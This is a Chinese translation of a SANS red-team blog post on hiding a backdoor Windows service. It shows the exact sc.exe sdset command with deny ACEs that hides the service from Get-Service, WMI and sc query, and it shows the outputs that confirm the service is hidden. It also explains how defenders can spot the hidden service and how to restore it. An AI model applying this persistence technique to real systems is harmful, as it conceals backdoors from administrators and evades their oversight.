思路分享:windows权限维持场景中如何隐藏服务信息

1. 译文声明

本文是翻译文章,原作者 Joshua Wright
原文地址:https://www.sans.org/blog/red-team-tactics-hiding-windows-services/
译文仅作参考,具体内容表达请见原文

2. 前言

在近期的一次红蓝对抗中遇到了一些蓝方大佬,我们使用了自行开发的后门程序来逃避目标主机上的EDR防护措施(终端检测响应平台)。但我们预估目标系统上的主机分析最终会检测到后门程序从而导致我们被扣分。
分析了一些EDR检测模型后,我们初步打算使用常规可信的服务名称来对抗检测,这些可信的服务名称可能会被优先忽略。在这里,SWCUEngine是对应的后门程序,我们将其伪装成了AVAST软件清理引擎。虽然这可能会逃避宽松的安全检查,但在真实的红蓝对抗中,这种方法还是不得劲。

# 使用Get-Service查看目标服务信息
PS C:\WINDOWS\system32> Get-Service -Name SWCUEngine

Status   Name               DisplayName
------   ----               -----------
Running  SWCUEngine         SWCUEngine

3. 正文

Windows服务支持使用安全描述符定义语言(SDDL)来声明或控制服务权限。常规场景下管理员不会主动手动修改某一服务的SDDL语法,但是权限维持场景中攻击者可以通过修改目标服务的SDDL语法来实现隐藏服务的目的。在本栗子中,SWCUEngine服务的隐藏效果不错。SDDL语法格式看起来有些臃肿,其主要使用了DACL和SACL组件中的ACE字符串来声明或控制权限。关于ACE字符串的文章请见此ACE字符串的格式如下:

ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;(resource_attribute)
成员 含义
ace_type 字符串格式,标识ACE_HEADER结构的AceType成员的值
ace_flags 字符串格式,标识ACE_HEADER结构的AceFlags成员的值
rights 字符串格式,标识由ACE控制的访问权限
object_guid GUID格式,它指示特定于对象的ACE结构(例如ACCESS_ALLOWED_OBJECT_ACE)的ObjectType成员的值
inherit_object_guid GUID格式,它指示特定于对象的ACE结构的InheritedObjectType成员的值
account_sid SID格式,用于指示ACE字符串所作用的目标用户/组
resource_attribute 一个可选值,本文中未用到,故未做解释..

本文中出现的ace_type主要为D(deny)A(allow),D条目始终排在最前面,其优先于A条目,A条目与默认权限相同。
相关ACE字符串举例如下:

#ACE字符串(D;;DCLCWPDTSD;;;IU)含义如下:
(D;;DCLCWPDTSD;;;IU) - # 拒绝(D)交互式用户 (IU) 以下权限:
  DC - SERVICE_CHANGE_CONFIG (更改服务配置)
  LC - SERVICE_QUERY_STATUS (查询服务状态的权利)
  WP - SERVICE_STOP (停止服务)
  DT - SERVICE_PAUSE_CONTINUE (暂停和继续服务)
  SD - DELETE (删除服务) 
(D;;DCLCWPDTSD;;;SU) - # 拒绝System用户(SU)与上述相同的权限集
(D;;DCLCWPDTSD;;;BA) - # 拒绝管理员组(BA)与上述相同的权限集

通过对目标服务进行此更改,可以实现持久隐藏:

# 使用sc.exe 修改 SWCUEngine 服务的SDDL语法以实现隐藏
PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe sdset SWCUEngine "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
[SC] SetServiceObjectSecurity SUCCESS

#验证 SWCUEngine 服务是否隐藏成功
PS C:\WINDOWS\system32> Get-Service -Name SWCUEngine
Get-Service : Cannot find any service with service name 'SWCUEngine'.
At line:1 char:1
+ Get-Service -Name SWCUEngine
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (SWCUEngine:String) [Get-Service], ServiceCommandException
    + FullyQualifiedErrorId : NoServiceFoundForGivenName,Microsoft.PowerShell.Commands.GetServiceCommand

隐藏后,无论是services.exeGet-Servicesc query或任何其它关于服务的控制工具均无法检索出对应信息,效果如下:

#以下三种查询服务信息的手段均无信息
PS C:\WINDOWS\system32> Get-Service | Select-Object Name | Select-String -Pattern 'SWCUEngine'
PS C:\WINDOWS\system32> Get-WmiObject Win32_Service | Select-String -Pattern 'SWCUEngine'
PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe query | Select-String -Pattern 'SWCUEngine'
PS C:\WINDOWS\system32

如果蓝队事先知道该服务的名称,他们可以通过尝试停止该服务来判断该服务是否存在。本例中,JoshNoSuchService服务不存在,SWCUEngine服务存在不过被隐藏了,这两种状态下通过Set-Service指令来停止服务时的回显是不一样的,如下,前者会提示InvalidOperationException,后者会提示ServiceCommandException

# 停止不存在的JoshNoSuchService服务得到 InvalidOperationException 异常
PS C:\WINDOWS\system32> Set-Service -Name JoshNoSuchService -Status Stopped
Set-Service : Service JoshNoSuchService was not found on computer '.'.
At line:1 char:1
+ Set-Service -Name JoshNoSuchService -Status Stopped
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (.:String) [Set-Service], InvalidOperationException
    + FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.Commands.SetServiceCommand

# 停止存在但被隐藏的SWCUEngine服务得到ServiceCommandException异常
PS C:\WINDOWS\system32> Set-Service -Name SWCUEngine -Status Stopped
Set-Service : Service 'SWCUEngine (SWCUEngine)' cannot be configured due to the following error: Access is denied
At line:1 char:1
+ Set-Service -Name SWCUEngine -Status Stopped
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (System.ServiceProcess.ServiceController:ServiceController) [Set-Service],
   ServiceCommandException
    + FullyQualifiedErrorId : CouldNotSetService,Microsoft.PowerShell.Commands.SetServiceCommand

如果知道被隐藏的服务名称,可以通过如下命令来取消隐藏:

# 使用sc.exe修改目标服务的SDDL语法实现取消隐藏
PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe sdset SWCUEngine "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
[SC] SetServiceObjectSecurity SUCCESS

# 现在使用 Get-Serice 指令可以查看到对应的服务信息
PS C:\WINDOWS\system32> Get-Service -Name 'SWCUEngine'

Status   Name               DisplayName
------   ----               -----------
Running  SWCUEngine         SWCUEngine

在红蓝对抗中,该思路可用于在目标主机进行隐藏后门的权限维持。而且即使目标系统重启,该隐藏服务也会自启动。

4. 参考

Wayne Martin
Harry Johnston

点击收藏 | 2 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖